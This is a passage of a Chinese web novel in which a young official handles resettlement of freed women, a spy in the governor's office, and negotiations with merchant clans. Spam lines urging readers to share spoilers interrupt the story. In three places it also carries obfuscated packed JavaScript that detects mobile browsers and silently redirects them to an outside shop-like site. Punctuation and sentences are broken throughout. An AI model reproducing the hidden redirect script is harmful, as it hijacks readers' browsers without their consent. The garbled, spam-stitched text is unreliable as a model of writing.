但他从未想过,会有人为这群可怜的女子,考虑得如此周全,如此长远,如此……尊重。 这是在为她们重建一个世界,一个能让她们重新找回尊严,靠自己双手活下去的世界! 从安身立命的村庄,到谋生的手艺,再到销售的渠道,最后到利润的分配和未来的自由……环环相扣,滴水不漏。 这其中蕴含的,不仅仅是智慧,更是一种发自内心的,对底层百姓最深沉的悲悯与关怀。 这一刻,邓玉堂看着眼前的少年,心中最后的一丝疑虑与隔阂,也烟消云散。 他之前敬畏陆明渊,是因为他的智计,他的权谋,他的赫赫战功。 而现在,他敬重陆明渊,是因为他那颗金子般的心。 这位少年伯爷,他能看到朝堂的波诡云谲,能算计人心的阴暗复杂。 同样的,他也能看到这世间最微不足道的百姓。 “扑通”一声。 这位在沙场上流血不流泪的悍将,竟是单膝跪地,拱手称拜。 “伯爷……仁心!末将邓玉堂,代温州府数十万百姓,代那千余名受苦的女子,谢伯爷再生之恩!” 这一拜,拜的不是权位,不是功勋。 拜的,是天地间那一点,最为珍贵的良心。 第235章 他在赌嘉靖皇帝的**智慧 陆明渊没有躲,坦然受了这一拜,随即上前一步,双手虚扶,将邓玉堂托了起来。 “将军言重了。 “我为大乾之臣,食君之禄,自当忠君之事,爱君之民。 “这些女子皆是我大乾子民,她们受的苦,是温州之殇,亦是朝廷之耻。 “为她们寻一条活路,是我分内之事,何谈恩德。 他顿了顿,目光落在邓玉堂那张饱经风霜的脸上,继续说道。 “接下来,军中将士的犒劳与军功的嘉奖,才是眼下另一件大事。 “此战功勋卓著,将士用命,若赏罚不明,则寒了人心。 “此事,还需邓将军费心,尽快整理出一份详尽的名单来。 陆明渊的语气平淡。 “将军尽管放手去做,将名单列出,需要什么,提什么要求,我这里都给批。 “若是温州府衙给不了的,我亲自上书,去京都向陛下给他要! 这话说得斩钉截铁,掷地有声。 邓玉堂闻言,胸中一股热血上涌,只觉得之前所有的疲惫与辛劳都一扫而空。 他戎马半生,见过太多克扣军功、赏罚不明的龌龊事,也见过太多只知索取不知体恤的文官。 像陆明渊这般,将“犒赏二字说得如此理直气壮,如此不容置疑的,平生仅见! 他哈哈一笑,声如洪钟,驱散了后堂的沉重气氛。 “伯爷放心!末将省得!定会按照功劳大小,一一分派。 “绝不让伯爷为难,也绝不让任何一个弟兄流血又流泪! “好!陆明渊点了点头。 “那便有劳将军了。 “末将告退! 邓玉堂抱拳一礼,转身大步离去。 送走了邓玉堂,后堂之内重归寂静。 陆明渊静立片刻,感受着窗外吹来的夜风。 那风中似乎还夹杂着海水的咸腥与战后的血气,提醒着他,这场战争还远未结束。 他唤来侍立在外的亲兵,沉声道。 “去请府衙通判裴文忠裴大人过来一趟。 “是,伯爷。 不多时,一位身着青色官袍,面容儒雅,步履沉稳的中年官员便快步走入后堂。 此人正是温州府通判裴文忠,掌管钱粮赋税、农桑水利,是陆明渊的得力副手。 “下官裴文忠,拜见伯爷。 裴文忠躬身行礼,态度恭谨。 “裴大人不 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 必多礼。” 陆明渊示意他坐下开门见山道。 “今夜请你来是有一件要事相托。” 他将自己关于安置那近两千名女子的计划简明扼要地复述了一遍。 从选址建村到修缮房舍、置办田产再到聘请女师傅、教授手艺。 最后到建立商路、利润分红每一个环节都清晰明了。 裴文忠越听心中越是震惊。 他身为地方官员处理过无数繁杂的政务却从未听过如此周详、如此具有人情味的安置之法。 这已经不是简单的赈济而是在为一群走投无路之人重建新生。 “此事我便全权交由裴大人负责。” 陆明渊看着他 “所有开支一律从府衙的库银中出。若有不足记在我的账上。” “钱粮之事你尽管放手去做不要有任何顾虑。” 裴文忠豁然起身对着陆明渊深深一揖声音中带着一丝颤抖。 “伯爷……此乃泽被苍生之仁政!下官……下官必竭尽所能将此事办得妥妥当当绝不辜负伯爷所托!” “有劳了。” 裴文忠躬身行礼郑重地退了出去心中已是波澜壮阔。 堂内只剩下陆明渊一人。 他重新回到书案前摊开一张空白的奏疏亲手研墨。 今夜他要写的这份奏折至关重要。 它不仅是对温州大捷的总结更是他撬动整个东南抗倭格局乃至影响大乾国策的开始。 烛火下少年伏案疾书笔走龙蛇。 奏折之中他首先详细奏报了肃清温州海域的战果歼敌几何俘虏几何缴获船只、兵甲、粮草无数。 他将邓玉堂等一干将领的浴血奋战之功写得淋漓尽致毫不吝惜赞美之词。 紧接着他话锋一转提到了此次大捷的关键在于“漕海一体”方略下荣兵商会提供的精准情报与后勤支持。 他用事实证明这套体系不仅能为国库开源更能成为朝廷在东南沿海的一双眼睛一只臂膀。 这是他向嘉靖皇帝展示自己当初那份策论的初步成果证明自己并非纸上谈兵。 最后也是这份奏折的核心陆明渊笔锋沉凝正式提出了建立“镇海司”的构想。 他详细阐述了“以倭治倭”的理念分析了倭寇内部并非铁板一块大部分胁从的汉人流民皆有争取分化的可能。 他建 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 议将此次俘虏中筛选出的“浪子回头”者以及将来招安的其他倭寇统一编入镇海司。 这个镇海司不占朝廷兵额不耗国库钱粮采用独特的雇佣模式。 朝廷提供合法身份与庇护由本地商会出钱雇佣他们则负责清剿其他死硬的倭寇团伙刺探情报。 甚至可以远赴东瀛从根源上扰乱倭寇的补给与集结。 他们的军功以斩获的首级和夺回的财货来计算。 朝廷只需付出极小的代价便能拥有一支熟悉海洋、战力强悍且专门用来对付倭寇的“恶犬”。 陆明渊斟酌了足足两个时辰反复修改将每一个字句都推敲到极致。 他深知嘉靖皇帝的性情这位帝王最看重的便是实用能赚钱的国策才是好国策。 他将镇海司的利弊、风险、以及如何防范其做大失控的种种措施都一一罗列清楚。 确保这份奏疏送到对方面前时是一份无可挑剔的、能带来巨大利益的完美方案。 他甚至在奏折的末尾将此战中所有该嘉奖之人。 从主将邓玉堂到奋勇杀敌的普通士卒乃至提供了后勤便利的温州府吏。 甚至包括那位通判裴文忠都一一写了上去确保毫无遗漏。 这既是为属下请功也是在向皇帝展示他陆明渊而是一个能够团结各方力量做成大事的能臣。 写完最后一个字陆明渊吹干墨迹小心翼翼地将奏疏卷好。 放入特制的密匣之中用蜜蜡火漆仔细封好。 “来人。” 一名身着飞鱼服的锦衣卫校尉悄无声息地出现在门口。 “将此密奏 “遵命!” 校尉接过密匣身影一闪便消失在沉沉的夜色之中。 看着那道消失的背影陆明渊轻轻吁了口气。 棋子已经落下接下来就要看那位远在紫禁城中的棋手如何应对了。 然而他还没来得及喘口气另一道身影便从院中的阴影里走了出来。 正是锦衣卫驻温州百户朱四。 朱四的脸上没有了往日的轻松取而代之的是一种罕见的凝重。 他走到陆明渊身前压低了声音语速极快地说道。 “伯爷城里的钉子都拔干净了。” 陆明渊眉毛一挑:“说。” “温州城内的倭寇内应已经全部揪出。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “其中为首的,是本地大族沈家的一位嫡系子弟,他与汪直暗中一直有生意上的往来,为倭寇提供了大量的粮草和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777326|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情报。” “沈家?” 陆明渊对此并不意外,沿海大族与倭寇勾结,早已是公开的秘密。 “是的。” 朱四点了点头。 “不过,沈家倒是机警得很。在我们动手之前,沈家家主便亲自绑了这个嫡系子弟。” “他们把人送到我们锦衣卫的诏狱,主动自首,并且献上了万两白银,请求朝廷宽恕。” “倒是条老狐狸。” 陆明渊冷笑一声,壮士断腕,弃车保帅,沈家这手玩得漂亮。 “我们将人抓到天牢,与其他抓获的内应分批审讯,交叉印证,确定了那个沈家子弟交代的都是实话。” 朱四的脸色愈发阴沉。 “他不仅交代了汪直麾下几大海盗头目的势力分布、船队规模,还交代了一件……天大的事。” “说。” 陆明渊的心也跟着沉了下去。 朱四深吸一口气,凑到陆明渊耳边,用只有两人能听到的声音说道。 “他交代,汪直在温州府的内应,不止他一个。在……在总督府里,同样还有汪直的人!” “嗡——” 陆明渊只觉得脑中一声轰鸣,整个后堂的空气仿佛都在这一瞬间凝固了。 总督府! 那可是东南抗倭的最高指挥中枢,是胡宗宪的地盘! 胡宗宪,当今严阁老最得意的门生,也是整个大乾朝廷中,最了解、最擅长处理东南倭患的封疆大吏。 若是他的总督府都出了问题,那整个东南的防线,岂不是成了一个天大的笑话? 更重要的是,一旦此事被捅出去。 无论胡宗宪本人是否牵涉其中,一个“用人不明”、“治下不严”的罪名是无论如何也逃不掉的。 在朝堂之上,这足以成为政敌攻觖他的致命武器! 陆明渊不希望看到胡宗宪倒下。 如今的东南局势,离了谁都可以,唯独离不开胡宗宪。 只有他,才能在严党、清流、地方势力和嘉靖皇帝之间取得微妙的平衡,稳住整个大局。 他的脸色瞬间阴沉得能滴出水来,手指无意识地在冰凉的桌沿上敲击着。 片刻之后,他抬起头,眼中已恢复了古井无波的冷静。 “朱四。” “卑职在。” “你立刻将此消息, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 用锦衣卫的最高密级渠道,上报给陛下。” 陆明渊的声音冰冷而清晰。 “记住,此事天知地知,你知我知,以及……陛下知。” “在陛下的旨意下来之前,绝不能让第四个人知道,明白吗?” 朱四心中一凛,立刻明白了陆明渊的用意。 这是要将皮球,直接踢给嘉靖皇帝本人。 不经过内阁,不经过通政司,甚至不经过锦衣卫指挥使,直接将消息送到皇帝的手中。 如何决断,全看圣心。 “卑职明白!” “去吧。” 朱四领命而去,身影再次融入夜色。 陆明渊独自站在堂中,目光幽深。 他在赌。 他在赌嘉靖皇帝的**智慧。 他赌嘉靖不会在这个荡平温州倭寇,抗倭大业初见曙光的关键时刻,自毁长城,对胡宗宪动手。 总督府牵涉倭寇,不代表胡宗宪本人牵涉其中。 这甚至很有可能是倭寇的离间之计,或是朝中某些人,想要借机扳倒胡宗宪的阴谋。 以嘉靖的多疑与权谋。 他最大的可能,是让锦衣卫秘密彻查总督府的内应,将那颗钉子悄无声息地拔掉。 他不会掀起一场会动摇整个东南战局的**风暴。 第236章 这一次,便赌一把大的! 夜风穿堂而过,带着海水的咸腥与未散尽的铁锈味,拂动着陆明渊的衣角。 他静静地站着,仿佛与这深沉的夜色融为了一体。 朱四的身影再次从阴影中显现,他没有立刻离去,而是沉声补充道。 “伯爷,那份关于总督府的密报,卑职已经另行写就,今夜便会与您的奏疏一同发出。 “走的是缇骑最高等级的‘天字’密道,确保万无一失。 “好。陆明渊点了点头,目光落在朱四那张被风霜刻画过的脸上,忽然说道。 “朱百户,此战,锦衣卫的兄弟们居功至伟。若无你们提前拔除钉子,肃清内应,温州之战绝不会如此顺利。 “你将此次有功的兄弟列一份名单给我,待我的奏疏上达天听,功赏批复下来之时,我一并为他们请功。 朱四闻言,先是明显一愣,眼中闪过一丝讶异与暖意。 旋即,他便躬身一揖,连连摆手,态度坚决地回绝道。 “多谢伯爷厚爱!但……此事万万不可。 他抬起头,迎着陆明渊探寻的目光,苦笑一声,解释道。 “伯爷有所不知,我锦衣卫乃天子亲军,只对陛下一人负责。 “自有我们内部的一套嘉奖和升迁体系,从不与地方军政挂钩,更不能受外臣的举荐封赏。 “这是太祖爷定下的铁律,谁也不敢坏了规矩。 “伯爷的心意,卑职和兄弟们心领了,但这功,我们不能要。 这话语中透着一种无奈,却也有一种不可动摇的骄傲。 他们是皇帝的刀,是黑暗中的影子,他们的荣耀与罪罚,皆出自君王一人,不与朝堂百官相干。 陆明渊瞬间便明白了其中的关窍。 这既是皇帝对锦衣卫的恩宠与信任,也是一种最为严苛的束缚与孤立。 让他们永远游离于正常的官僚体系之外,成为悬在所有人头顶的索命利剑。 他没有强求,只是点了点头。 “是我考虑不周了。既然如此,我便不多言。 “请朱百户转告兄弟们,他们为温州百姓流的血,出的力,我陆明渊记在心里。 “卑职一定带到。 朱四再次抱拳,声音里多了一丝由衷的敬意。 “伯爷保重,卑职告退。 话音落下,他身形一晃,消失在浓重的夜色里。 送走了朱四,后堂之内,又只剩下陆明渊一人。 他没有 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 立刻休息,而是重新坐回案前,将裴文忠白天送来的,关于温州府的各项卷宗又重新铺开。 战后的重建,千头万绪。 民政、钱粮、治安、军需……每一项都需要他这个名义上的最高长官来拍板定夺。 烛火摇曳,将他专注的身影投在墙上,少年的单薄肩膀,此刻却仿佛扛起了一座城的重量。 时间在笔尖的沙沙声中流逝,直到窗外的天色泛起一丝鱼肚白。 三更的梆子声远远传来,陆明渊才搁下笔,揉了揉有些酸涩的眉心。 他起身推开窗,清晨微凉的空气扑面而来,让他混沌的头脑清醒了许多。。 一夜未眠,他却毫无困意。 离开府衙,走在空无一人的长街上,脚下的青石板路还带着露水的湿滑。 陆明渊的府邸,此刻灯火通明。 亲兵为他推开大门,若雪早已提着一盏灯笼,俏生生地等在门口。 见到他回来,若雪清冷的眸子里泛起一丝不易察觉的关切。 “伯爷,热水已经备好了。” …… 就在陆明渊返回府邸的同时,温州城另一端的陈府,却迎来了一位深夜到访的不速之客。 陈府,温州三大世家之一,底蕴深厚,府邸占地极广。 亭台楼阁,在月色下影影绰绰,宛如一头蛰伏的巨兽。 书房内,檀香袅袅。 温州陈家家主,年过半百的陈煜,正端着一杯雨前龙井,慢条斯理地吹着浮沫。 他的面容清癯,留着一撮打理得极为精致的山羊须,眼神犹如一口古井,深不见底。 在他的对面,坐着的正是刚刚经历了家族剧变的沈家家主,沈子墨。 与陈煜的从容不同,沈子墨的脸上带着一丝难以掩饰的焦灼与疲惫。 他亲自绑了自己最得意的子侄送到锦衣卫诏狱,又献上万两白银,这才堪堪保住了沈家的根基。 这份壮士断腕的决绝,让他一夜之间仿佛苍老了十岁。 “陈兄,明人不说暗话。” 沈子墨没有心情与他绕圈子,放下茶杯,开门见山。 “我今夜前来,所为何事,想必你心中已有数。” 陈煜呷了一口茶,淡淡道:“沈兄是想说……那位少年伯爷的事?” “不错!” 沈子墨重重的点头,声音压得极低,却透着一股不容置疑的决断。 “温州海域已经肃清,汪家一夜倾覆,这只是个开始!下一步,便 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 是整个浙江,乃至整个东南沿海! “倭寇,完了!我们盘踞多年的那条路,也断了! 陈煜捻着胡须,不置可否,目光依旧平静:“所以呢? “所以,我们必须另寻出路! 沈子墨的眼中闪烁着精明的光芒。 “漕海一体!这是国策,是那位伯爷安身立命的根本,更是陛下钦点的阳谋! “汪家之死,就是杀鸡儆猴,告诉我们所有人,顺之者昌,逆之者亡! 他身体前倾,一字一顿地说道。 “天,要变了!我们不能再抱着过去的老皇历。 “与其等着被他一个个清算,不如趁着现在他立足未稳,百废待兴,需要用钱、用人的时候,主动送上一份大礼,买一张新船的船票! 陈煜终于放下了茶杯,古井无波的眼神中,泛起了一丝波澜。 他不得不承认,沈子墨说的每一个字,都敲在了他的心坎上。 陆明渊来到温州才多久? 先是以雷霆之势,收拢民心,让整个温州的百姓都视其为救星。 紧接着,组建荣兵商会,将退伍的丘八和朝廷捆绑在一起,拧成一股谁也不敢轻易触碰的势力。 而后,借力打力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777327|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一夜之间便将盘踞舟山、称霸海上的汪家连根拔起! 这一桩桩,一件件,哪里像是一个十二岁少年能做出来的事情? 其心智之妖,手段之老辣,简直闻所未闻! 更可怕的是,他背后站着的是整个大乾朝廷,是嘉靖皇帝的意志。 “那位伯爷……想要什么? 陈煜缓缓开口,声音沙哑。 “他什么都想要。 沈子墨冷笑一声。 “他要钱,重建温州,安置流民,犒赏三军,哪一样不是吞金巨兽? “他要人,要我们这些地头蛇低下头,为他的‘漕海一体’铺路! “他更要名,要一份青史留名的不世之功! 陈煜沉默了。 他知道,沈子墨说的是对的。 良久,他抬起头,眼中闪过一丝决然:“你想怎么做? 看到陈煜终于松口,沈子墨精神一振,立刻道出了自己的计划。 “汪家倒台,我们两家之前许诺给他的五十万两银子,还差四十万两。 “我们不仅要把这四十万两补上,还要主动加码!再给五十万两。 “明日一早,你我二人,亲自送到他的府上! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “再给五十万两?” 陈煜倒吸一口凉气。 算上前面的,这可是要给出去一百万两,这几乎是他们两家流动资金的一半了。 “这五十万两,是投名状!” “我们不仅要给钱,还要表态,全力支持陆明渊在温州的一切举措,全力配合‘漕海一体’的推行!” “需要人手,就出人手,需要船只,就出船只!” 陈煜的呼吸变得有些急促,他盯着沈子墨,一字一顿地问。 “我们的利润呢?” “利润,自然是有的。” 沈子墨的嘴角勾起一抹狐狸般的笑容。 “我们付出这么多,求的,自然是开海之后的回报。” “漕海一体,利益巨大,我们不要多,只要两成!” “另外,我们需要伯爷的‘特权票拟’,确保我们两家的商船,在未来的海贸中,能有一席之地,能安安稳稳地……做正经生意!” 特权票拟! 这四个字一出,书房内的空气仿佛都凝固了。 这相当于官方授权的特许经营权。 有了这个,他们就从过去偷偷摸摸的走私贩,一跃成为官府庇护下的皇商! 身份地位,天差地别! 陈煜的眼睛亮了起来,心中飞快地盘算着。 用一百万两银子和暂时的低头,去换取一个光明正大的未来,以及漕海一体两成的庞大利润……这笔买卖,划算!太划算了! “好!”陈煜猛地一拍桌子,下定了决心。 “就这么办!沈兄,你我两家同气连枝,这一次,便赌一把大的!” “赌那位少年伯爷,有容人之量,更有开天之能!” 沈子墨哈哈大笑起来,胸中的郁结之气一扫而空。 “陈兄放心,这位冠文伯,绝非池中之物。我们今日的投资,日后必有百倍千倍的回报!” 第237章 这刀,砍得太狠了! 长街之上,早起的贩夫走卒推着小车,开始了一日的营生。 一切都显得那么寻常,仿佛昨夜的暗流涌动,只是南柯一梦。 然而,对于温州城真正的掌舵者们而言,这一天才刚刚开始。 沈子墨与陈煜的马车,几乎是同时抵达了府衙门口。 他们整理了一下衣冠,步履沉重地踏上了府衙的石阶。 今日的府衙,与往昔大不相同。 门口的亲兵站得笔直,目光如电,身上带着舟山血战中带回来的煞气。 陆明渊正在书房处理公务,听闻两人求见,并未感到意外。 当沈子墨与陈煜被领进书房时,看到的是一幅让他们心神微凛的画面。 少年伯爷坐于案后,身形依旧单薄。 但那份沉静与专注,却仿佛与身后那幅“静海安澜的巨大字幅融为了一体,自有一股渊渟岳峙的气度。 他没有抬头,只是淡淡地说了声“坐,目光依旧停留在手中的卷宗上。 两人不敢造次,依言在下首的圈椅上坐下,腰背挺得笔直。 书房内一时间只有笔尖划过纸张的沙沙声,以及两人略显压抑的呼吸声。 这沉默本身,就是一种无形的压力,让两位在商海中翻云覆雨数十年的**湖,都感到了一丝局促。 终于,陆明渊放下了笔,抬起头,那双仿佛能洞悉一切的眸子,落在了他们身上。 “恭喜陆知府! 沈子墨率先起身,长揖及地,声音洪亮而真诚。 “陆知府以雷霆万钧之势,荡平舟山汪逆,为我浙江沿海百姓除了百年大害! “此等不世之功,足以彪炳史册,我等温州士绅,无不额手称庆,感佩于心! 陈煜也紧随其后,躬身道。 “伯爷文能安邦,武能定国,实乃我大乾之幸,万民之幸! “汪家覆灭,温州商路重开有望,皆赖伯爷神威! 一番吹捧,话说得滴水不漏,既表达了敬意,又点明了他们身为“温州士绅的立场。 陆明渊的脸上却没什么表情,他只是平静地看着他们。 他没有接话,而是对侍立在门口的衙役吩咐道。 “你们都出去吧。 衙役躬身领命,退了出去。 陆明渊亲自起身,缓步走到门前,将那扇厚重的木门“吱呀 “咔哒。 一声轻响,却仿佛巨锤敲在沈子墨与 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 陈煜的心头。 陆明渊转过身,重新回到案前,却没有坐下,而是居高临下地看着两人,缓缓开口。 “门已经关上了,这里只有我们三个人。两位有什么想说的,现在可以说了。” 他顿了顿,目光在两人脸上扫过,嘴角勾起一抹似笑非笑的弧度。 “不过,在开口之前,我奉劝二位先想清楚。你们要说的话,究竟合不合理。” “我,陆明渊,愿意谈生意。” “但我不想,也懒得,跟蠢人谈生意。” 话音落下,书房内的空气仿佛凝固了。 沈子墨和陈煜对视一眼,后背几乎是同时渗出了一层冷汗。 这位少年伯爷,早已洞悉了他们的来意。 可以谈,可以给你们想要的。 但如果条件太过分,那就不是谈生意,而是自寻死路。 两人都是人精,瞬间便明白了眼下的处境。 昨夜商议的那些试探、迂回的策略,在这样绝对的坦诚与压迫面前,都显得如此可笑。 沈子墨深吸一口气,压下心中的惊涛骇浪,再次躬身,态度比之前更加谦卑。 “伯爷明鉴。我二人今日前来,正是想为伯爷分忧,为朝廷的‘漕海一体’国策,尽一份绵薄之力。” 他决定不再绕圈子,直接抛出昨夜商定的方案,先看看陆明渊的底线究竟在哪里。 “我沈家,与陈家,愿各自出资五十万两白银,助伯爷整顿水师,清缴沿海残余倭寇,以靖海疆。” “此是我等对朝廷的一片忠心。” “此外,我两家愿倾尽家资,组建商队,购置海船,率先为伯爷开辟南洋、西洋航道。” “这其中风高浪急,盗匪横行,所有风险,皆由我两家一力承担。” “只为能让‘漕海一体’的宏图,能尽快在温州落地生根,开花结果。” 他说到这里,微微抬起头,眼中闪烁着精明的光芒。 “我等如此倾力,所求不多。只望将来漕海一体的生意,伯爷能允我两家,各占一成份额,便已心满意足。” 他说完,便与陈煜一同,静静地等待着陆明渊的答复。 书房内,再次陷入了死一般的寂静。 “呵。” 一声极轻的嗤笑,从陆明渊的唇边溢出。 陆明渊缓缓坐回椅中,修长的手指在桌面上轻轻敲击着,发出“笃、笃”的声响。 每一声,都像是敲在他们的心脏上。 “ 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一人一成?两位还真是……敢想啊。” 他拿起一份卷宗,看也未看,随手扔在桌上,声音平淡地说道。 “户部与兵部联合推演过。” “漕海一体若能顺利推行,以我大乾之物产丰饶,每年可为国库带来的纯利,便不下八百万两白银。” “一人一成,便是每年八十万两。” “出资五十万两,换每年八十万两的进项,这还不算你们借此机会,将自家货物销往海外的巨额利润。” 陆明渊抬起眼,目光陡然变得锐利如刀。 “这笔生意,莫说我陆明渊不敢答应,就算我答应了,送去京城。” “你们猜猜,内阁的徐阁老,户部的高尚书,还有御座之上的陛下,会不会同意?” “这已经不是谈生意了。” 他一字一顿,声音冷得像冰。 “你们是在做梦!” “送客!” 最后两个字,他说得斩钉截铁,毫不拖泥带水。 沈子墨和陈煜的脸色“唰”的一下变得惨白。 他们预想过陆明渊会讨价还价,却没料到他会如此不留情面,直接掀了桌子! “伯爷息怒!伯爷息怒!” 沈子墨“扑通”一声便跪了下去,额头冷汗涔涔。 他知道,若是就这么被赶出去,沈家和陈家不仅拿不到新船票,恐怕连旧账都要被翻出来,死无葬身之地! “伯爷,账……账不是这么算的啊!” 他急声辩解道。 “哦?” 陆明渊靠在椅背上,好整以暇地看着他,似乎想听听他还能说出什么花来。 沈子墨见状,知道还有一线生机,连忙整理思路,语速极快地说道。 “伯爷明鉴!八百万两,那是国策大成之后最理想的景况!” “可万事开头难,漕海一体,绝非一朝一夕之功!” “开海禁,只是第一步!想要将我大乾的丝绸、瓷器、茶叶卖出去,又将海外的香料、珍宝、良种运回来。” “这中间需要多少人力物力去打点?港口要扩建,船队要维护,沿途的航线要摸索,海外的藩国要交好,哪一样不是吞金巨兽?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777328|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们两家拿出的这五十万两,确实是为伯爷充作军费。” “可实际上,我们为了组建船队,打通商路,前期投入的银两、人力,何止百万?” “这其中的风险,更是难以估量!一成生意,当真不算过分啊伯爷!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 陈煜也反应过来,跪在沈子墨身旁,连连附和。 “是啊伯爷,我等愿为马前卒,为伯爷趟平前路,所求不过是将来能求个安稳生意,还请伯爷体谅我等的苦心!” 两人一唱一和,声情并茂,将自己塑造成了为国分忧、不惜血本的忠义商人形象。 陆明渊静静地听着,脸上依旧是那副波澜不惊的表情。 直到他们说完,他才缓缓地、清晰地吐出了自己的条件。 “两家,各自出一百五十万两,充作清缴东南沿海倭寇、整顿卫所之军费。” “轰!” 这个数字,如同一道惊雷,在沈子墨和陈煜的脑中炸响。 一百五十万两? 这简直是要了他们的命! 陆明渊没有理会他们震惊的表情,继续不紧不慢地说道。 “这笔钱,可以分期来付。明日一早,先送五十万两到府衙。” “剩下的一百万两,五年之内付清,每年二十万两。” 他看着两人惨白的脸,话锋一转,抛出了一根胡萝卜。 “出了这笔钱,你们两家过去与汪家、与倭寇之间那些不清不楚的牵连,我陆明渊,既往不咎。” “此事报予朝廷,也只会说你们幡然醒悟,戴罪立功。” “从此以后,你们就是身家清白的皇商。” 这句话,让两人猛地抬起头,呼吸都变得急促起来。 身家清白! 皇商! 这几个字的诱惑,实在太大了! 不等他们消化完这个巨大的惊喜,陆明渊的下一句话,又将他们打入了冰窟。 “至于漕海一体的生意……” 他端起桌上的茶杯,轻轻吹了口气。 “你们两家,合起来,分一成。” 两家,合起来,分一成! 这意味着,他们付出了双倍的价钱,得到的,却是原先期望的一半儿! 这刀,砍得太狠了! 沈子墨和陈煜张了张嘴,却一个字都说不出来。 原来,陆明渊早就给他们算好了价码,就等着他们主动过来! 他们感觉自己就像被剥光了衣服,赤裸裸地站在对方面前,所有的算计和心机,都成了笑话。 陆明渊站起身,提起桌上的紫砂茶壶,亲手为他们面前空着的茶杯,斟上了两杯滚烫的茶水。 茶香袅袅,氤氲的雾气模糊了他清秀的面容,却让他的声音显得愈发清晰,愈发不容置疑。 “茶,我给二位倒上了。” 他将茶壶轻轻放回桌上,发出“嗒”的一声轻响。 “若是喝了这杯茶,便代表二位同意了我的条件。从此,我们就是一条船上的人。” “若是不喝……” 他没有说下去,只是做了一个“请”的手势,意思不言而喻。 “大门就在那里,二位,请便。” 说完,他便不再看他们,重新坐回案前,拿起了那本未读完的卷宗。 仿佛眼前这两个掌握着温州经济命脉的大人物,与这满室的空气,并无不同。 书房内,死一般的寂静。 只有两杯茶,正冒着滚滚的热气。 沈子墨和陈煜跪在地上,死死地盯着那两杯茶。 喝,还是不喝? 第238章 不如顺势而为,站到浪头上去! 喝意味着数百万两白银将家族数十年的积累双手奉上。 从此以后他们将彻底绑在陆明渊这条前途未卜的大船上风浪共担生死一系。 不喝门就在那里。 可踏出这扇门外面是阳光明媚的长街还是早已张开的血盆大口? 汪家的累累白骨就在舟山的海水里泡着他们与汪家与那些倭寇之间又有多少见不得光的勾当? 这位少年伯爷既然能查得一清二楚又怎会轻易放过。 沈子墨的目光与陈煜的目光在半空中交汇。 只一瞬间他们都读懂了彼此眼中的决绝与无奈。 他们都是在刀口上舔血的人比谁都清楚一个道理:时代变了。 继续抱着过去的发财路子不放下场只会和汪家一样。 现在陆明渊给了他们一个机会。 一个用钱买命用钱买未来的机会。 这杯茶是投名状也是一张价值连城的原始股。 想通了这一点沈子墨心中那片惊涛骇浪竟诡异地平息了下来。 他抬起头 那眼神中敬畏之外又多了一丝说不清道不明的复杂情绪。 他颤抖着伸出手端起茶盏。 “咔。” 他将茶杯端起发出一声轻响。 陈煜见状不再有丝毫犹豫也随之端起了自己面前的那杯茶。 滚烫的茶水入口先是一阵灼人的苦涩烫得舌根发麻。 可当茶水顺着喉咙滑入腹中一股暖流却骤然散开随之而来的是一缕悠远而清洌的回甘。 这杯茶仿佛洗去了他们身上数十年来积攒的血腥与污秽换来了一身从未有过的清白与安宁。 两人将杯中茶水一饮而尽而后将空杯缓缓放回桌上。 “啪嗒。” 声音清脆响彻静室。 陆明渊的嘴角终于勾起了一抹几不可见的弧度。 “两位是聪明人。” 他开口声音不再冰冷带上了一丝平淡的温度。 “既然是聪明人那便该知道生意才刚刚开始。” “温州海晏河清只是第一步。” “本官需要组织第一批商队携带丝绸、瓷器前往暹罗、满剌加等国为‘漕海一体’的国策趟出一条真正的黄金航道。” 他的目光望向窗外蔚蓝的天空仿佛已经看到了那千帆竞渡、 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 万国来朝的盛景。 “这第一批出海的机会我愿意给你们两家。” 沈子墨与陈煜猛的抬起头眼中爆发出难以置信的光芒。 